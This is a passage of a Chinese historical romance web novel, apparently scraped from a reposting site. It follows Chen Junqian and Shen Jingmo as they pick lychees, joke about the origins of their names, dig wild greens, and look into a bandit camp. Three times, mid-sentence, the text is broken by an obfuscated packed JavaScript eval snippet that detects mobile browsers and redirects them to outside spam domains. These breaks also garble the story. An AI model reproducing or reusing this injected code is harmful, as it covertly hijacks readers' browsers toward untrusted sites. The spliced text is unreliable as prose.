他却不答了,脸上带着少见的坏笑,拉上她手腕便往小院走去。 沈京墨想要拽住他,可陈君迁人高马大,哪是她的力气能撼动的?她只好被他拖着走。 “大……” 来到院墙下停下,沈京墨刚要开口,便见陈君迁做了个噤声的手势,继而竖起手指指了指头顶。 她这才仰头望去—— 一人多高的苍翠果树从院里长到了墙外,一颗颗红润的果子如同小灯笼一般沉甸甸地坠着,微风轻拂,一股清香入鼻,像极了她昨天在柳翠仪家吃到的无名糕点。 她不禁张大了眼睛,新奇地盯着一颗颗小果子看,手指小心地触碰起离她最近的一颗来。 那果子外有一层粉红色的硬壳,触之微微扎手,捏之却有弹性,拿手一掂,还颇有分量。 沈京墨在上京常吃杏、桃、李,连西域的葡萄、蜜瓜,也曾在别人家的宴会上见过,唯独这种水果却是头一回见。 她想问问陈君迁这是何物,却又不敢出声,只得用眼神询问,可一低头才发现,陈君迁已经撩起衣裳下摆兜成一个口袋,一个一个地揪起果子来,才一眨眼的工夫,就已经摘了五六颗! 这可是偷窃呀! 沈京墨忙不迭握住陈君迁的手腕,迅速摇头示意他使不得。 陈君迁却朝她一扬下巴,露出个“你放心”的笑来当做安抚,手上的动作反倒更快了。 沈京墨心里头着急,可阻止又阻止不了,加上她的确惦记着这果子的美味,心中犹豫摇摆不定,只得蹙着眉咬着唇,一会儿抬头看看那棵被他揪得直晃的树,一会儿观察下四周,乍看上去倒像是在给他放风的共犯。 忽得,墙那头传来一阵树叶有规律的晃动,还不等沈京墨仰头去看,就听见一声中气十足的女声在头顶上响起—— “你个贼娃子又来掐老子滴李子!” 没等她有所反应,只见陈君迁将个什么东西高高抛过墙头,对她喊了一声“跑!”,随即将衣裳一团扎住口,拽着沈京墨便往土坡的方向跑去。 两人刚离开墙下,院门便打开了,背后那女声叽里呱啦地追了出来! 沈京墨哪里见过这阵仗,脑子一片空白,只知道跟着陈君迁使劲地跑。 身后的叫骂声不绝于耳。 沈京墨心中惶惶,去看陈君迁,却发现他竟在笑!不仅笑,还不时转头看她,然后回身朝那女人喊上两句她听不懂的话,接着又笑着给她鼓劲:“快跑!” “哎!”她有些跟不上他,只好提着裙摆,使出了全身的力气、不顾一切地往前跑去。 跑着跑着,双腿竟愈发轻盈,像是撞进了风里,被风托着、推着走。 沈京墨也不知为何,只是看着陈君迁开怀的表情,脸上露出了和他一样的傻笑来,铆足了劲往土坡那里跑。 土坡离小院不算太远,两人很快跑到了土坡后,陈君迁猛地停住脚步往后一仰,靠在了土坡上。 沈京墨却来不及停下,一股脑地继续往前冲去,眼看就要摔上一跤。 “啊!” 陈君迁见状,猛地伸出手,一把将她旋身拉到了身前! 脚步停下,沈京墨才缓回过神来,抬起脸来看陈君迁,额头上已是沁满了薄汗,樱口微张急促喘/息着,甚至都忘了从他怀中出来。 他垂眼看着她这副受了惊吓的模样,忍不住笑着安慰她:“别怕,她不会追过来的。” 沈京墨怔怔地看着他,下意识地点点头,努力平复起呼吸来。 果然,那女声在离土坡十步之遥的地方停了下来,对着他们的方向又骂骂咧咧了半刻钟,才慢慢走了。 直到院门关闭的“咚”声重重响起,两人才小心翼翼地探出头去,确定那女子已经不在了,才又收回视线,默了一瞬后,谁也没忍住,“噗嗤”一声笑了出来。 “她这说的都是什么呀?”她真是一个字也没听懂,只含含糊糊听见了个“李子”,不禁疑惑地看向他怀里的果子,“这长得也不像李子呀?” “云岫先生不是永宁县人,一骂起人来就爱说她家乡话。刚才说了什么……反正是骂人的,而且一听就知道骂得很脏,所以听不懂也挺好的。” 说着,他从那二十几颗果子中挑了一颗最大的,指尖一掐,剥开外壳,递到沈京墨嘴边:“这是荔枝。云岫先生种的荔枝是整个县里最甜的,尝尝。” 那果肉晶莹剔透,汁水顺着剥开的外壳淌下几滴,光是看着便让人口中生津。 原来这就是荔枝。 沈京墨过去曾听父亲说过,宫里的娘娘爱吃南方的荔枝,每到荔枝结果的季节,都要倾全国之力护送当年最好的一棵荔枝树、连同种树人一起千里迢迢远赴上京,好让娘娘一睁眼就能吃到沾着晨露的新鲜果子。 尽管荔枝树在上京不能活,种树人却不能归乡,每年吃完果子的树仍要以国礼对待,移栽入皇宫花苑,年年耗资千两,由种树人全天看护,好让人人都瞧得见帝王的恩宠。 沈京墨启唇,刚要尝上一口新鲜荔枝的滋味,却突然想到了什么似的,颇为内疚地抬眼看他:“大人,这可是偷盗啊……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13794871|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈君迁却不以为意:“我付了钱的。” 说着做了个抛物的动作。 沈京墨这才想起,两个人逃跑之前,他的确把个什么东西扔进了院子里,原来是一袋铜板。 她这才放下心来,脸上紧张的神色也消散了去。陈君迁见状,手又往她唇上一送:“小心有核。” 沈京墨这下不好再拒绝,羞涩地看他一眼,满怀期待地接过了他手中的果子,咬住果肉含入口中。 荔枝肉软弹嫩滑,含在嘴里滴溜溜地打转,牙齿咬破果肉时,一股清甜的汁水瞬间盈满了口腔。 沈京墨不觉眼前一亮,这正是她昨日在点心里吃到的果子,只不过新鲜水嫩,比那榨出了汁只剩皮肉的果干更加美味! 她的腮帮被荔枝撑得鼓鼓的,圆润的杏眸张得大大的,看着陈君迁笑,一双眼睛亮晶晶的,缀满了雀跃和欣喜的星光。 陈君迁瞧见她这副餮足的神情,虽然没吃荔枝,却也觉得甜。 “走吧,”他又剥开一颗递给她,拉起她的手,“回家慢慢吃。不过这东西吃多了上火,吃不完的,我也给你做成糕点。” 沈京墨吃到了好吃的,心情好得不得了,但也知道荔枝珍贵,他们只“拿”了二十来颗,还要分给陈川柏、陈大,她还想拿些给翠仪她们,于是这第二颗吃起来便更加珍惜。 两个人沉默地走了一会儿,沈京墨才回想起方才陈君迁管那外乡女子叫先生,不由得好奇。 陈君迁便给她解释:“她是个话本先生,笔名云岫,至于真名,村里人都不知道,她也不爱串门聊天。不过村里人都尊敬她,除了偶尔偷她几颗荔枝外,从不去打扰她。” “为何?” “因为她是村里唯一一个认字的,”他笑,“村里年轻人的名字,几乎都是她取的,像顾家那个满脸鼻涕的小孙子顾瑾辰,县衙里那个又高又瘦的衙役林逸舟,还有那个又矮又胖的衙役苏北铭,甚至就连萧景垣那个地痞流氓,都是求云岫先生起的名,好听,霸气,跟话本里的人物似的。” 他说的这些人沈京墨都见过,回想起他们的长相,和这名字竟是一点也不相符。 她偷偷笑了起来,问他:“那大人的名字,也是云岫先生取的吗?” 听她提到自己的名字,陈君迁脸上的笑容却突然僵住了。 “咳,”他清了下嗓子,指着已经近在眼前的自家小院,“到家了,我去收拾下厨房,明儿给你做点心。” 沈京墨见到他的反应也是一愣,不解他为何对自己的名字避而不谈。 陈君迁却是没再看她,大踏步地走进院里,留下几颗荔枝让她今夜吃后,便头也不回地钻进了厨房。 见两人回来,陈川柏也出来了。 沈京墨瞧见他,笑着摆摆手让他过来坐,把手里的荔枝分了一半给他。 “哇——你们去云岫先生家啦?谢谢嫂嫂!”陈川柏见了荔枝也分外激动,坐下便剥开一个丢进了嘴里,吃得满脸幸福。 沈京墨这几日听惯了他叫嫂嫂,也不像一开始反应那般强烈了,神色如常地应下,又给他手里塞了一颗荔枝,接着压低了嗓音,眼神一点厨房的方向,把方才陈君迁没有回答的问题又问了陈川柏一遍。 陈川柏没有如陈君迁那般转移话题,摇头解释:“我们村里只有我和我哥的名字不是她取的,是爹取的。我娘生我的时候,我爹手边最近的药材是川柏,就给我取名川柏。生我哥的时候,我爹正在院子里晒黑枣唔唔唔唔!” 话还没说完,一只大手猛地捂住了他的嘴! 24. 陈黑枣 突然出现的陈君迁吓了沈京墨一大跳,也不知他在厨房干活是如何听见他们二人悄声说话的,手还沾着水,就飞扑过来将陈川柏未说完的话按回了他肚子里。 “胡说八道什么呢臭小子……” 陈君迁目带警告地瞪了陈川柏一眼,又抬眼对沈京墨尴尬地一笑:“别听他胡说,这小子三天不打就敢上房揭瓦。” “唔唔唔唔唔——”陈川柏拍打着堵在自己嘴上的大手呜呜乱叫,反被他捂得更严实了。 沈京墨回过神来,看着兄弟两人掩嘴直笑。 她这一笑灿若皎月朗星,分去了陈君迁三分注意。陈川柏察觉到嘴上的手松懈了些,猛地一抬手去戳陈君迁的腋窝,接着身子一扭,反从他的手下逃走了。 “嘿你……”陈君迁佯装生气便要去追。 陈川柏连忙小跑着绕过小石桌躲到了沈京墨背后,小手抓着她的手臂大喊:“嫂嫂救我!” 陈君迁见势,也绕过桌子来抓他。陈川柏就绕着沈京墨闪躲。 两人秦王绕柱,围着沈京墨转着圈的跑。 “嫂嫂救我啊——!!” 沈京墨原只是个笑看兄弟俩打闹的旁观者,如今被陈川柏抓着袖子这么一喊,竟也半推半就地加入了战局,就在陈君迁马上就要拽住陈川柏胳膊之时,她站起来张开手拦在了他面前。 陈君迁一愣。 沈京墨也是没想到自己会参与进来,但瞧见他的反应,却忍不住露出了一副得意之色,仰头笑看他,眼神似是在说:小叔他,我罩的! “好好好,你们两个是一伙的了是吧?” 陈君迁抱着胳膊,眯起眼来点了点头,一副气恼却又无可奈何的表情,看得沈京墨回过头去与陈川柏一起窃笑起来。 却不想陈君迁瞅准时机,长臂一伸,竟越过沈京墨的手臂直奔陈川柏而去! “啊!嫂嫂!” 陈川柏奋力嗷叫,沈京墨忙挺身去挡。 三人在院中老鹰捉小鸡。 起初沈京墨多少还保留着几分矜持,可越到后来便越放得开,玩得愈发起劲,几次险些和陈君迁撞个满怀也没停下。 她笑得开心,陈君迁便故意失手,数次擦着她的衣袖捞着陈川柏的耳朵、胳膊,却就是滑不留手,一次也没抓住。 “哥!你不行啊!”一直没被抓住,陈川柏便得瑟起来,“嫂嫂一来你就不是我的对手咯!” 陈君迁原本就在放水,听他这么一激,当即来了劲头,手也多了准头。 沈京墨越挡越觉得艰难,他身材虽高大,动作却敏捷,如同一只蓄满了力气又灵活的猛虎,她渐渐有些没力气了。 偏生陈川柏还在挑衅这只猛虎:“抓不着!抓不着!” “好小子!等着!” 陈君迁也正在兴头上,抬眼一瞧沈京墨,却发现她额头上已出了不少的汗,动作也慢了下来。 他越过她看向陈川柏,这小子还毫无察觉,玩得不亦乐乎。 陈君迁眼神一暗,一个偷袭的假动作后,猛地一把揽住沈京墨的腰,将她整个人抱到自己这边,顺势一抬脚,脚尖一勾在陈川柏屁/股上轻轻一踹。 “哎哟!”陈川柏忙去捂屁/股,正要控诉陈君迁不讲武德,抬头却又看见兄嫂二人抱在一起,臊得他又赶紧捂起了眼,一手捂眼一手捂腚,恨不得再多长出两只手来。 “哎呀哎呀你们真是……”他嫌弃地大叫着,脸蛋憋得通红地跑进西屋去了。 “臭小子!” 陈君迁笑骂一句,低头去瞧沈京墨。 她双颊绯红,也正瞧着陈川柏跑走的方向笑,胸膛快速地起伏着。 察觉到他的视线,她下意识抬眸看他。 四目相接,她才恍然意识到自己正伏在他怀中。 沈京墨的脸顿时从运动后的潮红变成羞怯的胀红,慌忙从他怀中退出来,又后退了两步,一手无措地抚弄耳前的碎发,腼腆地抿唇不语。 怀中的分量和温度瞬间退去,陈君迁张了张嘴,手指胡乱朝西屋一指,对着沈京墨欲言又止,最后还是冲西屋道:“臭小子你别跑!” 继而一头扎进了西屋里去。 院中只剩下沈京墨一人,脸色通红地看了西屋两眼,拎起裙角跑回了东屋。 西屋里,陈川柏被陈君迁按在床上,浑身上下的痒痒肉都被他挠了个遍,直到他笑得快要喘不上气才停下。 “哥,我对你够好了吧?给你和嫂嫂制造了多好的拉近感情的机会呀!呐,感谢呢?” 从床上下来,陈川柏换上一副严肃的表情,小大人似的冲陈君迁一摊手,索要好处。 陈君迁一哂,不知从哪掏出一颗荔枝剥开,在陈川柏鼻子底下晃了一圈。 “配合得不错,该赏!不过……” 陈川柏冲着荔枝就是一大口,却扑了个空。 “敢揭我的短,该罚!所以——” 白嫩的荔枝肉在陈川柏嘴边短暂地亮了个相,最后落进了陈君迁自己嘴里。 “可恶……” 陈君迁笑着揉了揉陈川柏的小脑袋瓜:“馋猫儿,睡觉去!” 陈川柏“哼”了一声,乖乖上床,在被子上打了个滚,突然发现手下有什么东西微微凸起,硌着掌心。 他把被子一掀,赫然是好几颗新鲜的荔枝! 是陈君迁不知何时塞进他被窝里的。 陈川柏委屈不忿的小脸顿时溢满了笑容,剥起一颗边吃边冲正往外走的陈君迁道:“谢谢哥!” 陈君迁没回头,但听见弟弟笑得开心,嘴角也不禁上扬:“别都吃了,给爹留几个!” “知道啦知道啦!” 走出西屋,沈京墨已经不在院里了。回想方才怀中的馨香柔软,陈君迁不禁攥了攥手掌心,看了一眼东屋亮起的烛光,掉转头回了厨房。 荔枝放不住,他得把剩下的十来颗储存好了,明儿才能给她做点心。 等一切收拾妥当,陈君迁迅速地漱了口,也回了东屋。 沈京墨已经躺下半天了,只是他还没回来,便没熄蜡烛。 陈君迁一进屋,就瞧见她直挺挺地躺在床上,双目紧闭,唇角上扬,却又被努力压下去,以至于下巴都在微微颤抖。 他无奈地叹了口气,将蜡烛熄灭后躺到地上,一手枕在脑后,一手搭在胸口。 黑暗中传来低低的出气声,像极了忍笑忍到极点时忍不住从鼻腔泄出的动静。 “想笑就笑吧,别憋着。” 话音刚落,床上就传来“噗嗤”一声,沈京墨笑得肩膀都在发抖,笑了半晌才勉强止住,侧目看向陈君迁。 屋中没了烛光,有些许幽暗,她看不清他的脸,只能大致找到一个模糊的人影。 “大人原本真的叫……” 陈黑枣。 她没说出口,声音里的笑意却是藏都藏不住。 他身材高大挺拔,姿容不俗,长相俊朗,沈京墨一想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13802314|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他名字的由来,就笑得停不下来。 陈君迁气郁,可听见她悦耳的笑声,只好苦笑着承认:“我爹一开始的确给我取名黑枣,但每次拿这名字一叫我我就哭。我娘说我不喜欢这个名字,叫他换一个,他不信邪,说多叫叫就习惯了,便每日对着我耳朵喊三百遍……” 沈京墨听着有趣,翻个身侧躺过来,双手枕在耳下认真听。反正眼下屋里黑漆漆的,他也看不见她这样俏皮的姿势。 “我也一天哭个三百遍,一连哭了三个月,最后哭晕过去,我爹抱着我去县里找大夫,把原因和大夫一讲,大夫说,既然黑枣又名君迁子,我要实在不喜欢陈黑枣这个名字,不如改叫陈君迁,我当时就醒了也不哭了。于是我爹又被我娘教训了一顿,最后不情不愿地给我改叫陈君迁了。” 说完,他还倍感欣慰地感慨:“万幸我爹当时没有摆弄什么地黄、甘草、陈皮、生姜之类的。” 沈京墨又笑出了声,忙抬手掩住唇。 “笑吧,我也觉得好笑,”左右都教她知晓了,他认命了似的放弃了抵抗,借着微弱的月光看着她纤瘦的肩膀抖个不停,纵着她笑了一会儿,问她,“你的名字呢?” 话题转移到自己身上,沈京墨一愣,片刻后才道:“京墨也是一味药,能止血崩。但我父亲后来又说,彼时为我取名京墨,是希望我将来能如他那般精通文墨,名满上京。” 到底是文人墨客,取个名字都有这么多名堂。 陈君迁虽不甚在意名号,认为那只是一种标记、称呼人的方式,却觉得与人谈论姓名的由来,有一种莫名的亲密感。 他趁势追问道:“那你可有小名?” 沈京墨眨眨眼睛,没有答。 小字都是在闺中时爹娘才会叫的,哪有对外人说的?就算是夫妻,若非心意相通感情甚笃,也不会轻易交换小字。 更何况他们还是假夫妻。 加之提及这些,她便又不由得想起流放漠北的父母亲人,原本昂扬欢欣的心情转而蒙上一层阴影。 她转回身去平躺在床上,小声说了句“没有”。 听出她语气里的细微变化,陈君迁迟疑片刻,大概猜到了原因,试图安慰,张口却不知如何安慰,犹豫一番还是什么都没说。 两人都安静了下来,各自躺着看着黑漆漆的屋顶,谁也没有再说话。 次日一早,陈君迁便去了县衙。 谢遇欢早已带着这几日整理好的卷宗恭候多时。 “找了这么多天,总算让我翻出些东西来。” 陈君迁跟着谢遇欢一踏进卷宗库,就看见地上摆满了密密麻麻的卷宗,两两叠在一起,有些一排一组,有些一排数组。 谢遇欢顶着硕大的黑眼圈,神情却是振奋。 “之前的卷宗、除了让老鼠啃了的那些,我都翻过了一遍,找不出什么有价值的线索。但是这些就不同了……” “这是什么?” “两年前被查封的、售卖私粮私盐的账本,”谢遇欢说着,拿起一组卷宗,左手是账簿,右手的卷宗则更薄些,他语气严肃起来,“这些,是雁鸣山那些山匪下山掳掠的记录。” 陈君迁登时眉头紧蹙:“这二者有关联?” “是,”谢遇欢回答得十分肯定,将两个簿子摊在桌上,指着其中两条记录道,“你上任之前,雁鸣山那帮孙子每次下山后不久,这些私售盐粮的铺子就会多出很大一笔进项,售卖的东西,你猜流向了何处?” 25. 补品 陈君迁的目光从账簿上移,对上谢遇欢狐狸般的精明眼神,心里已有结论。 “萧家。” “大人英明。” 谢遇欢接着补充:“这几日萧家又进了些粮食,与之前买粮的频次数量都不符,不像是自家用的。” 陈君迁的眼神顿时变得危险起来:“你的意思是,萧景垣才是雁鸣山的真正主子?” 谢遇欢摇扇不语。 “不对,他没有那么大胃口,也没那个本事,镇不住那帮人。” “还有一种可能,”谢遇欢折扇一合,点点账簿,一字一顿道,“两路通吃,他做中间人,洗、白、销、赃。” 陈君迁定定看着他和账簿。 须臾,传来一个衙役。 “县衙留下两人值守,其余人等,随我上趟雁鸣山。” * “沈姐姐,这边!” 今日碧空如洗,沈京墨和柳翠仪一人挎着一只小竹篮来到武凌山下时,姑娘们已经等候她们多时了。 昨日在河边老树下分别时,她们邀请沈京墨一起来挖野菜。原以为还得过两天才能长熟,谁成想今日一早便有勤快的婶婶来挖了。 姑娘们见状纷纷赶来,两拨人如同比赛似的,等沈京墨赶到,小径边上的野菜都已经教人挖光了。 好在姑娘们人多又年轻,爬起坡来手脚也利索,占下了山坡上一大片地儿。见沈京墨来了,纷纷举高了胳膊招呼她过去。 柳翠仪打眼一瞧,顿时面露喜色:“没想到今年竟然有这么多!” 她说罢便拉着沈京墨爬上了坡,蹲下身去小铲一铲,从一丛野草边拔出了一把边上绿中间紫的野菜,抖了抖根上的土,欢喜地放进了篮子里。 沈京墨从未见过人挖野菜,觉着新奇,挎着小篮子盯着柳翠仪看。 察觉到她好奇的目光,柳翠仪一抬头,见沈京墨迟迟没有动作,笑着扯了扯她的衣袖,拉着她一起蹲下来:“姐姐再不挖可就要让人抢光啦。” 沈京墨咬唇,看了看她篮子底的野菜,又瞅了瞅旁边一位姑娘的,发现大家采的都不完全一样,有些是紫红色大圆叶的,有些却是绿色细短如野草一般的,她都没见过。 “这些……都是能吃的?”沈京墨低声问。 柳翠仪惊奇地抬起头来,眨了眨圆圆的眼睛,小声道:“上京的人不挖野菜么?” 沈京墨摇头:“从未见过。” 难怪她迟迟不动手,连小铲子都是自己帮她带的。 “那上京的人都吃些什么呀?”柳翠仪一边好奇,一边从沈京墨的篮子里头拿出小铲子来塞到她手中,一手抓住一颗野菜的叶,一手用铲子拨开泥土,“呐,这里好多种野菜,最好吃的就是这个苋菜,回家洗净了下面煮汤都可香了。” 沈京墨从未下过厨,以往每到用饭的时候,翠蝉都会把王妈烧好的菜直接端到她房中去,她只知道那些吃食是府中用父亲的俸禄统一采买,却从未见过其来自何处,很多菜烧熟前长什么样她都没见过。 来了陈家,她也不曾踏进过厨房,虽然吃过菜饽饽,却并不知那里面用的就是野菜,还以为那略苦的味道是因为自己上火口苦的。 面对柳翠仪的问题,她苦思冥想了一会儿,还是坦诚地说她吃的菜都是府里下人采买的,接着便认认真真学起挖野菜来。 柳翠仪听罢羡慕得不得了,“不用自己种地挖菜,还有人做好了饭菜送进房里?想想就好舒服啊……也不知道我这辈子有没有这个福气。” 旁边的姑娘听见了,笑她:“你家林陌然对你还不够好啊?等成了亲,你给他撒个娇耍个赖,他能不给你端茶送水洗衣做饭?” 周围纷纷有人应和。 沈京墨听了也抿唇笑。 柳翠仪对那姑娘瞪了瞪眼,眼神往山坡下一瞟:“我婆母可在这儿呢,别瞎说啊!” “林婶不是更疼你?” 姑娘们不理她的话,接着起哄。柳翠仪这下倒是没反驳,晃了晃脑袋,一脸得色:“那谁让我招人疼呢?” 姑娘们都笑。 柳翠仪和林陌然青梅竹马,自幼定情,两家关系也亲如一家,这些沈京墨和柳翠仪聊天时她都说过。 青梅竹马,关系甚笃,终成夫妻…… 她曾经也有一份这样的感情,只是如今…… 沈京墨深吸口气,轻轻甩了甩头,试图赶走心中泛起的酸涩,羡慕地冲柳翠仪笑了笑,低下头去捏着小铲铲,学着她的样子,握住一棵茁壮的绿苗轻轻连根挖出,用指尖剥去沾在根上的湿润泥土,放进小篮子里。 大家都低头认真挖起野菜来,时不时有人想出个话题来,与身边的人你一言我一语聊上几句,轻松惬意得很。 沈京墨虽是头回挖野菜,但原本在家莳花弄草,不像有些大小姐那般十指沾不得半点土。饶是比不上其他姑娘的速度,但动作也算快,不多时就挖了大半篮子,心情也好了许多。 她握住篮子摇了摇,好把堆叠在一起的野菜晃平整,腾出更多空间来接着放,正好也放松下酸痛的腰肢。 柳翠仪见状,抬眼朝她篮子里看了一眼,顿时“噗嗤”一声笑出了声。 “姐姐,挖错了。” 沈京墨一愣,低头看看自己篮中的,再看看柳翠仪递过来的篮子里的,疑惑地凝眉。 都是花花绿绿的,怎么错了? 柳翠仪笑着从她篮子里抽出一条叶绿而细长的,又从自己篮中取出一棵稍短小些的,挨个掐断了给她看。 “呐,姐姐你看,我篮子里这棵,叶子扁平,有小半手掌长,没有毛,这儿还有三条脉,这叫扫帚苗,现在还嫩,能当菜吃。你挖的这些太长,已经老了,咬不动了,挖回去只能当扫帚使,喂猪喂鸡都勉强。” 沈京墨怔住。 她低头看看柳翠仪手里的两棵扫帚苗,小的那棵一掰就断,翠嫩流汁,大的那棵却难以掐断,韧性十足地拧成了绳,才堪堪扯断,内里也没有多少水分。 沈京墨的脸微微红了起来。原本她还在想怎么这些茁壮挺拔的野菜没人挖,还当是自己捡了便宜,没想到竟然是白费力气。 “那……我这些,是不是都不能吃了?”她把篮子歪向柳翠仪,露出里面大把的老菜,有些颓丧。 柳翠仪扒着篮子瞧了一眼,面露难色,悄悄观察了一眼沈京墨的表情,顿了一顿,干脆将两个篮子并排摆在地上,把里面的东西都拿了出来。 沈京墨一惊:“这是做什么?” 柳翠仪头也没抬,手脚麻利地把两人挖的嫩叶和老叶分成两堆,各取一半放回了篮子里。 “眼看天就要热了,今儿再挖不了多少了。我们把这些分一分,掺到面里也够吃。剩下这些老叶切碎了在水里泡上一会儿,喂猪喂鸡也使得。” 柳翠仪语速飞快,沈京墨听完,才恍然回神要去拦她。她今日来只是觉着挖野菜新鲜有趣,可柳翠仪却是实实在在要拿回去吃的,分给了她,她便少了许多,这怎么成? 她这么想着,便要和她换回来,却被柳翠仪先一步取走了自己的篮子藏在了背后,朝她仰脸一笑:“我都分好了,还偷拿了姐姐两棵苋菜,这个便宜我是绝对不会还回去的。” 什么便宜,分明是她占便宜更多些。 但沈京墨知她好意,也不再推辞,想了一想,柳翠仪待自己如此之好,自己似乎也没什么可当做回礼的,便提议:“要不我送你副绣品吧?只是不大实用,也就当个摆设。” 柳翠仪一听顿时乐了:“好呀!姐姐的绣工那可是县里最好的绣娘都比不上的,半篮子野菜换一副绣品,我赚了!图样我要自己挑!” 沈京墨跟着她笑:“好,你来挑。不过刺绣是慢活,赶不快,你成亲前可能绣不完。” “没事儿,还有两个月我生辰,就当姐姐提前为我准备礼物啦!” 两人商量妥了,太阳也高了,姑娘们把半个小山坡上的野菜都挖的差不多了,一个个拎着满满当当的篮子往饮马河边走去。 柳翠仪也拉着沈京墨一起:“走,我们也去把菜洗了再回家。” * 雁鸣山。 与武凌山不同,雁鸣山在永宁县北,常年阴云密布,高耸难攀,悬崖峭壁一线天,有些地方得侧着身子方能通行,若是一不小心踩空,也不必喊救命,因为就算把神仙喊来,也只有死路一条。 山顶有座匪寨。 这波山匪已经盘踞此处多年,匪寨建得像模像样,正当中的聚义堂尤其宽敞,墙上挂着一副完整剥下来的虎皮。 陈君迁翘着腿坐在聚义堂里,对面坐了个黑脸的虬髯大汉。 大汉长相凶恶,左眼自上而下斜落着一道疤,一双眼比墙上的老虎还要凶狠,可此时面对陈君迁,却是满脸堆笑。 “陈大人你可不能冤枉好人啊!别的不说,就说你上任三年,我一次也没下山给你惹麻烦不是?弟兄们走得走散得散,吵吵着要跟我闹分家,说当土匪还得种地交税,还不如下山找个女人老婆孩子热炕头过得舒坦。可就算这样,我也没让他们再犯事不是?三年了,虽说寨子还在,可我们早都不能算土匪了呀!县衙不还有我们登记的册子吗?我们现在是良民,良民!” 土匪头子心里苦:“再说那个什么萧景垣,那就是个地痞流氓!我这伙兄弟虽然都是粗人,那也都是有血性的汉子!最瞧不起的就是这种仗势欺人的玩意儿!我怎么可能和他有关系呢?自打三年前您点醒了我,我就跟他断了!” 陈君迁面无表情地听着土匪头目一顿吐苦水,目光上上下下将这个聚义堂打量了好几遍,等他说完,才掏了掏耳朵冲他咧嘴一笑。 “大当家别激动,我今天来就是瞧瞧兄弟们过得怎么样。虽说大家的名字都登记在册,但咱们也三年没见了,我这心里难免惦记,这不就来打扰打扰,讨杯水喝嘛。这聊着聊着,想起萧大少以前和大当家关系不错,随口问问,大当家别往心里去。” 大当家赔笑着连连称是,又再三保证早就和萧景垣断得干干净净,三年之内再无来往。 陈君迁点点头,嘬了一口杯中的浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13814117|144577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,状似不经意地随口一问:“诶我记得两年前,寨子里还有新人来,大当家隔三差五就派人上县衙去登个记,一趟报两三个人,怎么最近这半年一个新人都没报啊?” 他说话时头也没抬,垂眸吹着有些烫的水。 大当家脸色却是一变,眼中闪过一瞬阴毒之色,但又很快恢复如初,重重叹了口气。 “我的大人呐,我跟你说句掏心窝子的话,谁当土匪不是为了喝酒吃肉睡女人啊?可你看看我这寨子,肉十天半个月吃不着一口,菜得自己种,还不能去山下和老百姓抢好地,酒也得花钱买,女人更是见都见不着!谁还乐意来呀?剩下这几个没走的,那都是多年的兄弟了。” “那这么说,还是我把你的寨子给搅黄了。” “哎不不不!可不敢这么说啊!要不是大人三年前打醒了我,我这会儿指不定犯了什么大事儿,没准儿早都让皇帝老儿砍了头了!是大人心肠好,还给我留了这片山头,我这心里都记着大人的好呢,嘿嘿。” 陈君迁似笑非笑地瞧了他两眼,大当家就那么咧着嘴乐着。直笑到他脸都僵了,陈君迁才把杯子一放,起身理了理衣摆。 “水也喝了,天也聊了,行嘞!那我就先走了,山上要是有什么困难,可以去县衙找我嘛。” 大当家忙陪着起身,跟在他身后往外走:“是是,多谢陈大人。” 陈君迁摆摆手,走出聚义堂没两步,突然停了下来,伸手揉起了肚子:“哎哟,爬山爬饿了……回县衙还有一截,大当家这儿可有吃的?” 他说着,四处扫了几眼便找着了厨房,抬脚就往那头去。 “哎大人!我让人给你拿来不就行了嘛!大人何必自己走一趟呢!”大当家忙一转方向跟上他,越过他的肩远远给厨房门口一个小弟递了个眼神。 小弟心领神会,赶忙一头扎进厨房里,一阵窸窸窣窣声后,端出了一笼屉菜饽饽,笑呵呵地捧到陈君迁鼻子底下。 陈君迁此时已经到了厨房门口,低头看看菜饽饽,拿起一个来狠狠啃了一口,回头对大当家笑:“手艺不错啊?” 大当家和小弟点头称是。 他又咬了两口,探头往厨房里瞧了一眼:“收拾得这么干净,行啊!像个过日子的样儿。” 说完,他又拿了一个菜饽饽,让大当家别送了,自己慢慢下山就是。 大当家哪敢这么不客气,一路把他送出寨子又走了老远,才恶狠狠地出了一口气:“这瘟神,总算走了。” 跟在身后的小弟一脸忧心地看着他的脸色,小声问:“当家的,姓陈的以往概不登门,这回突然上山,该不会是听到什么风声了吧?” 大当家瞪了小弟一眼,又望向陈君迁下山的方向,许久:“听见了又如何?老子可没答应姓萧的,他自己犯的事,扯不到咱们头上!厨房里都收拾好了?” 听他这么问,小弟忙笑着应道:“都藏起来了,没让姓陈的瞧见,大当家放心吧。” “嗯,”大当家的表情这才放松了些,冲陈君迁的背影不屑嗤笑,“陈君迁,萧景垣……哼,为了个女人,有意思。” 两个土匪回到山寨时,陈君迁还没下山。 走过一处绝壁,路边林中走上来数名衙役。 